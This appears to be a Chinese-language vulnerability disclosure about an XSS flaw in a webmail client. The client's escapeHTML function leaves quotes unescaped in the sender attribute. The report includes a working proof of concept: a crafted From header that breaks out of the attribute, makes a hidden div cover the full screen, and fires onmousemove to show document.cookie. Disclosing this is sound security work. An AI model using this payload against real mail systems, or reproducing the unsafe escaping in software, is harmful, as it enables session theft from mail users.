### 简要描述:
某处 escape 姿势不对
### 详细说明:
目前的代码,在构造发件人时,代码如下:
```
function getEmailDiv(emailAddress) {
return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>'
}
```
那么 escapeHTML 是什么呢?
```
function (){
var div=document.createElement("div");
var _15=document.createTextNode(this);
div.appendChild(_15);
return div.innerHTML;
}
```
这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外
### 漏洞证明:
最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。
比如 From 字段如下:
```
From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**>
```
最后 JavaScript 构造出的 HTML 如下:
```
<div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div>
```
[<img src="https://images.seebug.org/upload/201604/082251384dcac0c813ec1823c40f68f7ad97f16b.jpg" alt="exp.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/082251384dcac0c813ec1823c40f68f7ad97f16b.jpg)
Unavailable Comments